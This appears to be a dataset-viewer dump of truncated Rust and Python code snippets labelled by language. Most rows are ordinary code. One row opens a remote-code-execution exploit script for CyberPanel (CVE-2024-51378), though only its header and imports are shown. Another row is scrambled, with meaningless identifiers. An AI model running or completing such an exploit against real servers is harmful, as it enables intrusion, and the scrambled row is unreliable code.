text string | label_name string | labels int64 |
|---|---|---|
IOTA WITH DIALYTIKA
0x03CB => Some("upsilondieresis"), // GREEK SMALL LETTER UPSILON WITH DIALYTIKA
0x03CC => Some("omicrontonos"), // GREEK SMALL LETTER OMICRON WITH TONOS
0x03CD => Some("upsilontonos"), // GREEK SMALL LETTER UPSILON WITH TONOS
0x03CE => Some("omeg... | Rust | 0 |
import mlflow
import pandas as pd
# Configurer MLflow pour pointer vers DAGsHub
MLFLOW_TRACKING_URI = "https://dagshub.com/dioneousseynou03/end_to_end_MLOps_Project.mlflow"
# set MLflow Username
# set MLflow Password
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
experiment_name = "Default"
experiment = mlflow.get_exp... | Python | 1 |
'__group_ids': [],
'__group_names': [],
'user_domain_memberships': []
})
real_scroll = query.scroll
with patch.object(query, "scroll", scroll_then_delete_one):
self.assertEqual([doc1], list(query.scroll_ids_to_disk_and_iter_docs()))
def test_ex... | Python | 1 |
=> {
bar!($l);
};
}
macro_rules! bar {
(3) => {};
}
//1.52 版本的 Rust 已有 13 个片段分类符 (Fragment Specifiers,以下简称分类符)
// item
macro_rules! items {
($($item:item)*) => {};
}
items! {
struct Foo;
enum Bar {
Baz
}
impl Foo {}
/*...*/
}
// block
macro_rules! blocks {
($($block... | Rust | 0 |
, T1, T2, T3, T4, T5, T6, T7, T8)>;
}
impl<T0, T1, T2, T3, T4, T5, T6, T7, T8> Tuple9Map0Option<T0, T1, T2, T3, T4, T5, T6, T7, T8> for Option<(T0, T1, T2, T3, T4, T5, T6, T7, T8)> {
fn map0<U>(self, f: impl FnOnce(T0) -> U) -> Option<(U, T1, T2, T3, T4, T5, T6, T7, T8)> {
match self {
Some(v) =... | Rust | 0 |
version is less than the input version.
Parameters
----------
v : str
Version string, e.g. "0.25.0"
Returns
-------
bool
Raises
------
InvalidVersion
If the version strings are not valid.
"""
import pyarrow as pa
return is_version_less_than(pa.__ver... | Python | 1 |
TODO: SAFETY: The UNDEFINED const is Value<'static>, and doesn't reference any other Values,
// so there shouldn't be an issue casting it Value<'a>, right?
unsafe { std::mem::transmute::<&Value<'static>, &'a Value<'a>>(&UNDEFINED) }
}
pub fn null(arena: &Bump) -> &mut Value {
arena.all... | Rust | 0 |
import pandas as pd
import sys
# print top of file
print("<!doctype html>")
print("<html>")
print("<head>")
print('<meta charset="UTF-8"/>')
print('<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes" />')
print("<title>Table with expandable rows</title>")
print(... | Python | 1 |
PixelBufferError::RequestOutOfBounds),
_ => assert!(false)
}
assert_eq!(buffer.data[4], 127);
assert_eq!(buffer.data[5], 0);
assert_eq!(buffer.data[6], 64);
assert_eq!(buffer.data[7], 64);
}
#[test]
fn get_pixel() {
let data = vec![0, 1, 2, 3, 0... | Rust | 0 |
a=22
gender="male"
name="Himanshu Kashyap"
height=5.9
salary=75499
incremental=99.9
total_amount=salary+incremental
print(total_amount)
print(type(total_amount))
print(type(a))
print(type(gender))
print(type(name))
print(type(height)) | Python | 1 |
expire pending HTLCs that go unclaimed
},
}
#[derive(Clone)] // See Channel::revoke_and_ack for why, tl;dr: Rust bug
pub(super) struct PendingHTLCInfo {
routing: PendingHTLCRouting,
incoming_shared_secret: [u8; 32],
payment_hash: PaymentHash,
pub(super) amt_to_forward: u64,
pub(super) outgoing_cltv_value: u32,
... | Rust | 0 |
word: "arm".to_string(),
team: Team::Civilian,
picked: false,
});
tiles.push(Tile {
word: "server".to_string(),
team: Team::Civilian,
picked: false,
});
tiles.push(Tile {
word: "pupil".to_string(),
team: Team::Blue,
picked: false,
... | Rust | 0 |
距離になるので、距離の最大値などが簡単に求められます
"""
res_x = x - y
res_y = x + y
return res_x, res_y
def chebyshev_dis(x1: int, y1: int, x2: int, y2: int) -> int:
"""
チェビシェフ距離を計算します
"""
return max(abs(x1 - x2), abs(y1 - y2))
# 便利変数
INF = 1 << 63
lowerlist = list("abcdefghijklmnopqrstuvwxyz")
upperlist ... | Python | 1 |
import pygame
pygame.init()
pygame.font.init()
pygame.display.set_caption("Homemade Shapez")
screen = pygame.display.set_mode((0,0), pygame.FULLSCREEN)
| Python | 1 |
from __future__ import annotations
from datetime import datetime, timezone
from urllib.parse import urlsplit, urlunsplit
from cronsim import CronSim, CronSimError
from django.core.exceptions import ValidationError
from django.core.validators import URLValidator
from oncalendar import OnCalendar, OnCalendarError
from... | Python | 1 |
'''
Have the function StockPicker(arr) take the array of numbers stored
in arr which will contain integers that represent the amount in dollars
that a single stock is worth, and return the maximum profit that could
have been made by buying stock on day x and selling stock on day y
where y > x. For example: if arr is [... | Python | 1 |
Str(PToken),
Name(ANameId),
TyApp(ATyAppExpr),
Record(ARecordExpr),
Field(AFieldExpr),
Call(ACallLikeExpr),
Index(ACallLikeExpr),
Cast(ACastExpr),
UnaryOp(AUnaryOpExpr),
BinaryOp(ABinaryOpExpr),
Block(ABlockExpr),
Break(AJumpExpr),
Continue,
Return(AJumpExpr),
... | Rust | 0 |
# encoding: UTF-8
from objectmaphelper import *
gDMS_Sample_Application_QQuickWindowQmlImpl = {"title": "GDMS Sample Application", "type": "QQuickWindowQmlImpl", "unnamed": 1, "visible": True}
gDMS_Sample_Application_RoundButton = {"checkable": False, "container": gDMS_Sample_Application_QQuickWindowQmlImpl, "occurre... | Python | 1 |
people are supplying it inconsistently to cause superfluous resolution
conflicts, so we choose to also ignore them.
"""
parsed: urllib.parse.SplitResult
query: Dict[str, List[str]]
subdirectory: str
hashes: Dict[str, str]
def _clean_link(link: Link) -> _CleanResult:
parsed = link._... | Python | 1 |
import os
import torch.distributed as dist
def get_dist_info() -> str:
"""Check distributed training env variables"""
# Tested on the instance (best.sh):
# LOCAL_RANK = 2 | RANK = 2 | MASTER_ADDR = 127.0.0.1 | MASTER_PORT = 29500 | WORLD_SIZE = 4
keys = [
"NODE_RANK",
"GROUP_RANK",
... | Python | 1 |
# The MIT License (MIT)
#
# Copyright (c) 2016 Adam Schubert
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, mod... | Python | 1 |
ot stock_code or not isinstance(stock_code, str):
raise ValidationError("주식 코드는 비어있을 수 없습니다", "stock_code", stock_code)
if len(stock_code) != 6 or not stock_code.isdigit():
raise ValidationError("주식 코드는 6자리 숫자여야 합니다", "stock_code", stock_code)
@staticmethod
def vali... | Python | 1 |
) * 255
# Function to draw a line (blood vessel) on the image
def draw_vessel(start, end, image):
rr, cc = line(start[0], start[1], end[0], end[1])
try:
image[rr, cc] = 0 # Draw a black line
except:
end = 0
return
# Recursive function to draw a ... | Python | 1 |
e %i In Power"
SLAVE_OUT_POWER = "Slave Out Power"
SLAVE_N_OUT_POWER = "Slave %i Out Power"
SLAVE_BATTERY_VOLT = "Slave Battery Volts"
SLAVE_MIN_CELL_VOLT = "Slave Min Cell Volts"
SLAVE_MAX_CELL_VOLT = "Slave Max Cell Volts"
SLAVE_N_BATTERY_VOLT = "Slave %i Battery Volts"
SLAVE_N_MIN_CELL_VOLT = "Slave %i Min Cell V... | Python | 1 |
))(input)?;
Ok((input,1))
}
fn parse_prim_binayy(input:&[u8])->IResult<&[u8],PRIM>{
let (input,(_,_,_,_,types, M3x4,bboxLocal))=tuple((
take_while(is_zero),
take_while(is_not_zero),
parse_cnte_version,
take_while(is_zero),
le_u8,
parse_M3x4_binary,
... | Rust | 0 |
#! /usr/bin/env python3
# Copyright 2015 Christian Pointner <equinox@spreadspace.org>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) an... | Python | 1 |
),
"sigma_xy": torch.tensor(sigma_xy, dtype=torch.float32),
}
)
stress_disp_xx_eval_pred = evaluations_stress_disp_xx["stress_disp_xx"].numpy()
stress_disp_yy_eval_pred = evaluations_stress_disp_yy["stress_disp_yy"].numpy()
stress_disp_xy_eval_pred = evaluations_stress_disp_xy["stre... | Python | 1 |
_puts: 0,
num_merges: 0,
num_deletes: 0,
last_key: Vec::new(),
}
}
fn add(&mut self, other: &ExampleCollector) {
self.num_keys += other.num_keys;
self.num_puts += other.num_puts;
self.num_merges += other.num_merges;
self.num_deletes +=... | Rust | 0 |
import math
def MiniMax(nodeIndex,depth,values,maxTern):
if(depth==maxDepth):
return values[nodeIndex]
if(maxTern):
maxEva=-10000
for k in range(2):
eva=MiniMax(nodeIndex*2+k,depth+1,values,False)
maxEva=max(maxEva,eva)
return maxEva
else:
minE... | Python | 1 |
ad_to_end(&mut buffer).context(read_failed_context)?;
self.add_bytes(&target, &buffer)
.context(format!("Failed to write to {}", target.as_ref().display()))?;
Ok(())
}
}
/// A [ModuleWriter] that adds the module somewhere in the filesystem, e.g. in a virtualenv
pub struct PathWriter {
... | Rust | 0 |
RSAGroup, _>(rng, int_size_bits);
let xs = (0..5)
.map(|_| rng.gen_prime(int_size_bits))
.collect::<Vec<_>>();
for x in &xs {
acc.add(x);
}
let ws = xs
.iter()
.map(|x| {
... | Rust | 0 |
x * tan( y )) = value of this guide
///
/// * **('val') - Literal Value Formula**
///
/// Arguments: 1 (fmla="val x")
///
/// Usage: "val x" = x = value of this guide
///
/// # Note
///
/// Guides that have a literal value formula specified via fmla="val x" above should
... | Rust | 0 |
config(theme: &Rc<geng::ui::Theme>, value: Self) -> Self::Config {
Self::Config {
theme: theme.clone(),
#(#field_names: <#field_tys as geng::ui::Configurable>::config(theme, value.#field_names_copy),)*
}
... | Rust | 0 |
_shifted();
byte_emitter.emit_scaled_index_byte(scale, index, bbb)
}
// Displacement.
Self::emit_displacement_0_8bit_or_32bit(byte_emitter, mod_, displacement)
}
else if base_register_is_relative_instruction_pointer_plus_displacement_32bit(bbb)
{
// ModR/M byte.
byte_emitter.emit_mod_r_m_by... | Rust | 0 |
provider.type,
Check_Output_CSV_AWS_Well_Architected,
)
file_descriptors.update({output_mode: file_descriptor})
elif output_mode == "iso27001_2013_aws":
... | Python | 1 |
DDR
global SDRANGEL_API_PORT
global TRACKER_FREQUENCY
global XVTR_DEVICE
global REFCORR_LIMIT
addr, port, SDRANGEL_API_ADDR, SDRANGEL_API_PORT, TRACKER_FREQUENCY, XVTR_DEVICE, refcorr_limit = getInputOptions()
if refcorr_limit is not None:
REFCORR_LIMIT = refcorr_limit
print(f'main: ... | Python | 1 |
#!/usr/bin/env python
import logging
log = logging.getLogger("Thug")
class DOMTokenList:
def __init__(self, supported, tokens=None):
self.tokens = [] if tokens is None else tokens
self.__init_supported(supported)
def __init_supported(self, supported):
self.supported = []
fo... | Python | 1 |
{meal['matched_item'].get('calories', 'N/A')} cal)\n"
return {
'query_type': 'search',
'search_term': query,
'result': response.strip(),
'matching_meals': matching_meals
}
def _extract_food_name_from_query(self, query: str) -> str:
... | Python | 1 |
from typing import List, TypeVar, Generic, Type, Any
from fastapi import Depends, FastAPI, HTTPException
from fastapi.middleware.cors import CORSMiddleware
from pydantic import BaseModel, TypeAdapter
from starlette.requests import Request
from xml.etree.ElementTree import fromstring
import xml.etree.cElementTree as ET
... | Python | 1 |
ent(address: IpAddr, netmask: u8) -> Result<IpAddr, Error> {
assert_eq!(netmask % 8, 0);
// same algorithm for either path, couldn't converge the codepaths
// without having to play with slices for oct
match address {
IpAddr::V4(address) => {
// the number of bytes we can cover using... | Rust | 0 |
from CMaskOpt import *
from CFaceDetection import *
class CMaskDetection():
def __init__(self):
"""
口罩识别检测
"""
self.mask_opt = CMaskOpt()
self.face_detection = CFaceDetection()
def MaskDetect(self, img):
"""
口罩检测
:param img: 图片
:return: ... | Python | 1 |
<Vec<u8>, tonic::Status>>;
impl ServerStreamingService<Vec<u8>> for GrpcInvocationHandler {
type Response = Vec<u8>;
type ResponseStream = SerializedResponseStream;
type Future = BoxFuture<tonic::Response<SerializedResponseStream>, tonic::Status>;
fn call(&mut self, request: tonic::Request<Vec<u8>>) -... | Rust | 0 |
ize_repo_format(repo, &env)?, remote)
}
(None, remote) => {
let (url, remote) = if let Some(remote) = remote {
(git.remote_url(&remote)?, remote)
} else {
git.tracking_remote_url(&branch)?
};
... | Rust | 0 |
els:expr, $batch_size:expr, $min:expr, $max:expr) => {
test_internal!(
$test_func,
Int32Type,
get_test_int32_type,
$func,
$def_level,
$rep_level,
$num_pages,
$num_levels,
... | Rust | 0 |
[3] = Some(stack_mem_address(6 * WORD_SIZE));
vm_states[3].r[4] = Some(0xFF);
run_test!(arrays = (vms, vm_states), op_ids = ops_to_test);
}
pub fn solution(s: &str) -> String {
s.chars().map(|v| {
match v >= 'A' && v <= 'Z' {
true => format!(" {}", v),
false => format!("{}",... | Rust | 0 |
gonal(&xs, &ys, &pre_dp, &post_dp, ¢ers, radius);
for pos in 0..xs.len() as isize + 1 {
xs_mut.insert(pos as usize, b'A');
for base in b"ACGT".iter().map(crate::padseq::convert_to_twobit) {
let dist =
edit_dist_banded_with_inser... | Rust | 0 |
a) }
"register" => { self.register_task(data) }
"resize" => { self.resize_task(data) }
"running" => { if self.running() { Ok(()) } else { Err(anyhow!("not running")) } }
_ => {
info!("Unsupported command: {}", command);
Ok(())
}... | Rust | 0 |
*mpool;
// iterate over settings map
for k in pkits_data_map.keys() {
let pd = pkits_data_map.get(k).unwrap();
for i in 0..pd.len() {
let case = pd.get(i).unwrap();
let case_name = if let Some(alt_test_name) = case.alt_test_name {
alt_test_name.to_strin... | Rust | 0 |
))
frames_hi91 = decoder.parse(example_data_hi91)
print(f"Total frames parsed for HI91: {len(frames_hi91)}")
for i, frame in enumerate(frames_hi91):
hipnuc_parser.print_parsed_data(frame)
print("Input binary data length for HI92:", len(example_data_hi92))
frames_hi92 = decoder.parse(exa... | Python | 1 |
)
return d
class L_TV(nn.Module):
def __init__(self, TVLoss_weight=1):
super(L_TV, self).__init__()
self.TVLoss_weight = TVLoss_weight
def forward(self, x):
batch_size = x.size()[0]
h_x = x.size()[2]
w_x = x.size()[3]
count_h = (x.size()[2] - 1) * x.siz... | Python | 1 |
);
id_perm_fill(&mut sgt);
// Fallible insert
assert_eq!(
sgt.try_insert(usize::MAX, usize::MAX),
Err(SgError::StackCapacityExceeded)
);
}
#[should_panic(expected = "Stack-storage capacity exceeded!")]
#[test]
fn test_extend_panic() {
let mut sgt: SgTree<usize, usize, CAPACITY> = S... | Rust | 0 |
"""
Naval battle example from docopt
"""
from collections import OrderedDict
from clize import run, parser
def ship_new(name):
"""Create a new ship
name: The name to attribute to the ship
"""
return "Created ship {0}".format(name)
knots = parser.value_converter(float, name='KN')
def ship_move(s... | Python | 1 |
-> Option<String> {
match self.var_map.get(var) {
Some(&pos) => {
match self.values[pos].clone() {
ResultUnit::Val(val) => Some(val),
_ => None,
}
},
None => None,
}
}
}
#[derive(Clone, Debug)]
pub struct ResultCollection<'a> {
pub results: Vec<Result>,... | Rust | 0 |
#[inline(always)]
fn deref(&self) -> &Self::Target {
&self.0
}
}
#[doc = "Field `CHANNEL14` writer - Select secure attribute"]
pub struct CHANNEL14_W<'a> {
w: &'a mut W,
}
impl<'a> CHANNEL14_W<'a> {
#[doc = r"Writes `variant` to the field"]
#[inline(always)]
pub fn variant(self, var... | Rust | 0 |
s provided but no story exists
st.markdown("""
### Ready to Create Your Story! ✨
Your API key is configured. Now:
1. **Customize your character name** in the sidebar
2. **Choose your preferred genre** (Fantasy, Sci-Fi, etc.)
3. **Set your story theme** (... | Python | 1 |
er(events_new)))
except StopIteration:
node = node[0:-1]
stack.pop()
return mapping
def lexgraph_numbermap(G):
"""Return a mapping of states obtained when is performed
a lexicographical depth first search in automaton G. The output
is a dictionary that ... | Python | 1 |
# - Iterator는 연속적인 데이터의 스트림을 나타내는 객체이며 내부에 __next__ 메소드를 구현하고 있어,
# 빌트인 함수 next()를 통해 간접적으로 해당 메소드를 호출하여 순차적인 요소의 접근이 가능한 객체를 말한다
# 따라서 next()의 반복 호출은 데이터 스트림의 항목들을 순서대로 반환하게 된다
# - __iter__ 메소드가 구현되어, 빌트인 함수 iter()에게 해당 객체의 iterator를 반환하는 객체를 Iterable이라 부른다
l = [1, 2, 3, 4, 5]
l_iter = iter(l)
# l.__iter__()
# 해당 lis... | Python | 1 |
g<buswap2::BUSWAP2_SPEC>;
#[doc = "EBU Bus Write Access Parameter Register"]
pub mod buswap2;
#[doc = "BUSRCON3 register accessor: an alias for `Reg<BUSRCON3_SPEC>`"]
pub type BUSRCON3 = crate::Reg<busrcon3::BUSRCON3_SPEC>;
#[doc = "EBU Bus Configuration Register"]
pub mod busrcon3;
#[doc = "BUSRAP3 register accessor: ... | Rust | 0 |
>::AccountId,
TokenIdOf<T>,
(ClassIdOf<T>, TokenIdOf<T>),
),
/// Successfully force transfer NFT
ForceTransferredNft(
<T as frame_system::Config>::AccountId,
<T as frame_system::Config>::AccountId,
TokenIdOf<T>,
(ClassIdOf<T>, TokenIdOf<T>),
),
/// Signed on NFT
SignedNft(TokenIdOf<T>, <T ... | Rust | 0 |
<int64> data;
"#;
let new = r#"
type BinaryTree<T> {
left: BinaryTree<T>,
right: BinaryTree<T>,
value: T,
value2: T,
}
export BinaryTree<int64> data;
"#;
let (insert_count_1, delete_count_1) = run_planner_migration_stats(old, new);
assert!(insert_count_1 > 0);
assert!(delete_count_1 ==... | Rust | 0 |
impl Scanner {
fn permute(&self, permute: &Permute) -> Scanner {
let points: Vec<_> = self.points.iter().map(|p| p.permute(permute)).collect();
Scanner { points }
}
fn find_permute(
&self,
other: &Scanner,
permutes: Vec<Permute>,
diff_freq: &mut DiffFreq,
... | Rust | 0 |
rBuilder::init_pointer(self.builder.get_pointer_field(0), 0)
}
pub fn has_threshold(&self) -> bool {
if self.builder.get_data_field::<u16>(0) != 2 { return false; }
!self.builder.get_pointer_field(0).is_null()
}
#[inline]
pub fn which(self) -> ::core::result::Result<WhichBuilder<'a,>, ::... | Rust | 0 |
from datetime import datetime, timezone
import os
import tweepy
from dotenv import load_dotenv
from playwright.sync_api import sync_playwright
# Take a screenshot of the page
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
page = browser.new_page()
page.goto("https://trendmine.pages... | Python | 1 |
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distribute... | Rust | 0 |
# IfcOpenShell - IFC toolkit and geometry engine
# Copyright (C) 2021 Dion Moult <dion@thinkmoult.com>
#
# This file is part of IfcOpenShell.
#
# IfcOpenShell is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundat... | Python | 1 |
"""Constants for the Venice AI Conversation integration."""
import logging
DOMAIN = "venice_ai"
LOGGER = logging.getLogger(__package__)
CONF_RECOMMENDED = "recommended"
CONF_PROMPT = "prompt"
CONF_CHAT_MODEL = "chat_model"
RECOMMENDED_CHAT_MODEL = "llama-3.3-70b" # Venice AI default model with function calling supp... | Python | 1 |
messages = [
"gm",
"goodmorning",
"lock in"
]
| Python | 1 |
h.insert("VEX_Vpsrad_ymm_ymm_imm8", Code::VEX_Vpsrad_ymm_ymm_imm8);
h.insert("EVEX_Vpsrad_xmm_k1z_xmmm128b32_imm8", Code::EVEX_Vpsrad_xmm_k1z_xmmm128b32_imm8);
h.insert("EVEX_Vpsrad_ymm_k1z_ymmm256b32_imm8", Code::EVEX_Vpsrad_ymm_k1z_ymmm256b32_imm8);
h.insert("EVEX_Vpsrad_zmm_k1z_zmmm512b32_imm8", Code::EVEX_Vps... | Rust | 0 |
t safe version of [`Requester`].
trait ErasableRequester<'a> {
/// Error type returned by all requests.
type Err: std::error::Error + Send;
fn get_updates(&self) -> ErasedRequest<'a, GetUpdates, Self::Err>;
fn set_webhook(&self, url: Url) -> ErasedRequest<'a, SetWebhook, Self::Err>;
fn delete_web... | Rust | 0 |
#!/usr/bin/python3
# CVE-2024-51378 Remote Code Execution Exploit
# Exploit found date: 10/23/2024
# Tested on: Ubuntu 20.04, CyberPanel v2.3.5, v2.3.6, v2.3.7 (before patch)
# Author: Luka Petrovic (refr4g)
import argparse
import httpx
import sys
RED = "\033[91m"
GREEN = "\033[92m"
CYAN = "\033[96m"
MAGENTA = "\033... | Python | 1 |
floating-point
// arithmetic but in a more precise way. This is more expensive than the
// simple calculation done by triageSign, but it is still *much* cheaper
// than using arbitrary-precision arithmetic. This optimization is able to
// compute the correct determinant sign in virtually all cases excep... | Rust | 0 |
] * var[0])
landm = np.reshape(offset_cxcy, [-1, 10])
return loc, np.array(conf, dtype=np.int32), landm
class Bboxencode():
"""Bbox_encode"""
def __init__(self, variances, match_thresh, image_size, clip=False):
self.match_thresh = match_thresh
self.variances = variances
self.... | Python | 1 |
], and deserialized from a type implementing [serde::Serialize]
/// using [to_key]. See the corresponding function for documentation.
///
/// The type parameter `F` corresponds to the [FloatPolicy] in used. It defaults
/// to [RejectFloatPolicy] which will cause floats to be rejected.
///
/// [from_key]: crate::from_ke... | Rust | 0 |
inition.when.path,
path_contains: yaml_definition.when.path_contains,
path_matches: to_pattern_vec(yaml_definition.when.path_matches),
method: yaml_definition.when.method.map(|m| m.to_string()),
headers: to_pair_vec(yaml_definition.when.header),
header_exists:... | Rust | 0 |
e, predict)}')
# Recall
print(f'Recall: {recall_score(y_true, predict, average=None)}')
# Precision
print(f'Precision: {precision_score(y_true, predict, average=None)}')
# F1_score
print(f'F1_score: {f1_score(y_true, predict, average=None)}')
test_evaluate(cross_model_path, test_dataloader)
... | Python | 1 |
mdx4h8ssz as cy3pyncbcjo, uxsymc63fve as d_27vzum37c, gof4h6seji7, k7ecvb_gyk2, m1gd7271erb as fmgxqbk1j22, has1o8fb5l6 as mm90wxn91yn, dl9asuaicy2, eajbjvhnjoe as ef3c2vmnxg5
'# billets_link_mattress -> rifle_songs_twirl'
0j[0.0]: m8lldcrr21l = gic2o3jw2iu
import b_jo1zhaml_, qwe8_1_zgz5, nuvpppslv4e as ms... | Python | 1 |
from yacs.config import CfgNode as CN
_C = CN()
_C.dataset = "" # Dataset name
_C.root = "" # Directory where datasets are stored
_C.backbone = ""
_C.resolution = 224
_C.stride = 16
_C.output_dir = None # Directory to save the output files (like log.txt and model weights)
_C.resume = None # Path to a directory w... | Python | 1 |
*data.this_frame;
let psps = data
.powerup_spawn_points
.0
.iter_mut()
.filter(|p| p.powerup_entity.is_none())
.filter(|p| {
p.next_respawn_time.is_none() || p.next_respawn_time.unwrap() <= this_frame.0
});
for p in psps {
let mob = data
.entities
.build_entity()
.with(p.pos, &... | Rust | 0 |
"""
Adapters for PostGIS geometries
"""
from __future__ import annotations
from .. import postgres
from ..abc import AdaptContext, Buffer
from ..adapt import Dumper, Loader
from ..pq import Format
from .._compat import cache
from .._typeinfo import TypeInfo
try:
from shapely.wkb import loads, dumps
from shap... | Python | 1 |
HA_CANCEL_EN_R(crate::FieldReader<bool, bool>);
impl ADPLL_PHA_CANCEL_EN_R {
#[inline(always)]
pub(crate) fn new(bits: bool) -> Self {
ADPLL_PHA_CANCEL_EN_R(crate::FieldReader::new(bits))
}
}
impl core::ops::Deref for ADPLL_PHA_CANCEL_EN_R {
type Target = crate::FieldReader<bool, bool>;
#[in... | Rust | 0 |
# Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import torch
import numpy as np
from examples.textless_nlp.gslm.unit2speech.tacotron2.text import (
EOS_TOK,
SOS_TOK,
code_to_seq... | Python | 1 |
pub fn validate_cycle(
cycle: &Cycle<3>,
stores: &Stores,
) -> Result<(), StructuralIssues> {
let mut missing_edges = HashSet::new();
for edge in &cycle.edges {
let edge = edge.canonical();
if !stores.edges.contains(&edge) {
missing_edges.insert(edge.clone());
}
... | Rust | 0 |
lua.set_function("incdec", lua_incdec)?;
Ok(())
})
}
#[lua_function]
fn lua_new(seed: LuaInt) -> DefaultGenerator {
DefaultGenerator(RandDefaultGenerator::with_seed(seed))
}
#[lua_function]
fn lua_rnd(self_: &mut DefaultGenerator, n: LuaInt) -> LuaInt {
self_.0.rnd(n)
}
#[lua_function]
f... | Rust | 0 |
hash, sha);
if lb == 0 {
return false;
}
for i in 0..lb {
k0[i] = 0
}
if k.len() > lb {
SPhashit(hash, sha, &mut b, Some(k));
//GPhashit(hash, sha, &mut b,0,0,k, 0, None);
for i in 0..sha {
k0[i] = b[i]
}
} else {
for i in 0..... | Rust | 0 |
( self ) -> i32
{
self
}
}
impl AsNumber for Struct1
{
fn make( src : i32 ) -> Self
{
Struct1 { a : src }
}
fn as_number( self ) -> i32
{
self.a
}
}
#![allow(non_camel_case_types)]
#![allow(clippy::upper_case_acronyms)]
use littlefs2::consts;
// TODO: this needs to be overridable.
// Shou... | Rust | 0 |
await?;
let (other_view_ref, mut other_listener) = helper.create_fake_client().await?;
// Set focus to the first fake client.
helper.service.handle_focus_change(scenic::duplicate_view_ref(&view_ref)?).await;
// Scope part of the test case to release listeners and borrows once done.
... | Rust | 0 |
make the emitter represent a single event type. Then we can parametrize
// it with payload type easily, and we still can group events into
// EventEmitter-like entities using regular structs.
extern crate event_emitter;
use event_emitter::Event;
#[derive(Default)]
struct AppEvents {
click: Event<(i32, i32)>,
... | Rust | 0 |
println!("inputs {:?} self.input_order {:?}", inputs, self.input_order);
match inputs.len() {
1 => {
let main_input = inputs.values_mut().next().unwrap();
let theta_c = 2.0 * std::f32::consts::PI * self.cutoff / self.sr as f32;
let d = 1.0 / self.q;
... | Rust | 0 |
#!/usr/bin/env python
# encoding: utf-8
import numpy as np
import tensorflow as tf
import sys
sys.path.append('..')
from models.run_net import SenseClsNet
from config import cfg
import cv2
import os
from tqdm import tqdm
import zipfile
os.environ["CUDA_VISIBLE_DEVICES"] = "0"
def submit(img_path, submit_file, epoch):... | Python | 1 |
t_pose, left_gripper=left_grip,
right_pose=right_pose, right_gripper=right_grip
)
# ====== 原生 MuJoCo viewer 同步(如果打开了)======
if viewer is not None:
try:
viewer.sync() # 将当前 mjData 渲染到窗口
except Exception:
... | Python | 1 |
from fastapi import FastAPI
from fastapi.middleware import Middleware
from fastapi.middleware.cors import CORSMiddleware
from app.chat.router import router as chat_router
from app.container import AppContainer
def init_routers(app_: FastAPI) -> None:
app_.include_router(chat_router)
def make_middleware() -> li... | Python | 1 |
import pandas as pd
from faker import Faker
from random import choice, randint, uniform
from datetime import datetime
fake = Faker()
# Constants
TOTAL_RECORDS = 200_000
HALF = TOTAL_RECORDS // 2
TODAY = datetime(2025, 4, 23).date()
TOMORROW = datetime(2025, 4, 24).date()
OWNER_GUID = 'cf1fdd7f-1b0c-f011-998b-7c1e528... | Python | 1 |
_DATA() {
assert_eq!(
::std::mem::size_of::<TPM2B_SENSITIVE_DATA>(),
258usize,
concat!("Size of: ", stringify!(TPM2B_SENSITIVE_DATA))
);
assert_eq!(
::std::mem::align_of::<TPM2B_SENSITIVE_DATA>(),
2usize,
concat!("Alignment of ", stringify!(TPM2B_SENSITIVE_DAT... | Rust | 0 |
crate::debug::init();
utils::init::init().await;
dominator::append_dom(&dominator::get_id("root"), Community::new().render());
}
<filename>sui_types/src/unit_tests/messages_tests.rs
// Copyright (c) 2021, Facebook, Inc. and its affiliates
// Copyright (c) 2022, Mysten Labs, Inc.
// SPDX-License-Identifier: A... | Rust | 0 |
key):
if key == "m_next":
self.focus_position = (self.focus_position + 1) % len(self.widget_list)
self.widget_list[1].set_active(self.focus_position == 1)
key = None
# This is essentially a copypasta from urwid.Pile's keypress handler.
# So much for "closed f... | Python | 1 |
true,
ty_ptr(mt{ty, ..}) | ty_rptr(_, mt{ty, ..}) |
ty_uniq(ty) => match ty.sty {
ty_vec(_, None) => true,
_ => false
},
_ => false
}
}
pub fn type_is_structural(ty: Ty) -> bool {
match ty.sty {
ty_struct(..) | ty_tup(_) | ty_enum(..) |
ty_ve... | Rust | 0 |
let limbs = [
0xbccddeef, 0x89900aab, 0x45566778, 0x01122334, 0xddeeff00, 0x99aabbcc,
];
// One fewer limb.
#[cfg(target_pointer_width = "64")]
let limbs = [
0x89900aab_bccddeef,
0x01122334_45566778,
0x99aabbcc_ddeeff00,
];
... | Rust | 0 |
,
BonusUpgrade::ShurikenEfficiency => 4,
BonusUpgrade::SentryEfficiency => 5,
BonusUpgrade::BowEfficiency => 6,
BonusUpgrade::RegenerationEfficiency => 7,
BonusUpgrade::FlashEfficiency => 8,
BonusUpgrade::GrenadeEfficiency => 9,
}
}
}
#... | Rust | 0 |
import hashlib
from io import BytesIO
import aioboto3
from botocore.config import Config
from fastapi import APIRouter, HTTPException, UploadFile
from fastapi.responses import JSONResponse, StreamingResponse
from app.config import settings
router = APIRouter(prefix="/yandex/s3", tags=["yandex-s3"])
@router.post("/... | Python | 1 |
text, size=resize, mode='nearest')
x_masked_context = masks_context * x
if return_msk_context:
return x_masked_context
masks_objects = (1 - masks_context)
x_masked_objects = masks_objects * x
return x_masked_objects
class ContextMaskingDecoder(nn.Module):
def __init__(self, upscale, ... | Python | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.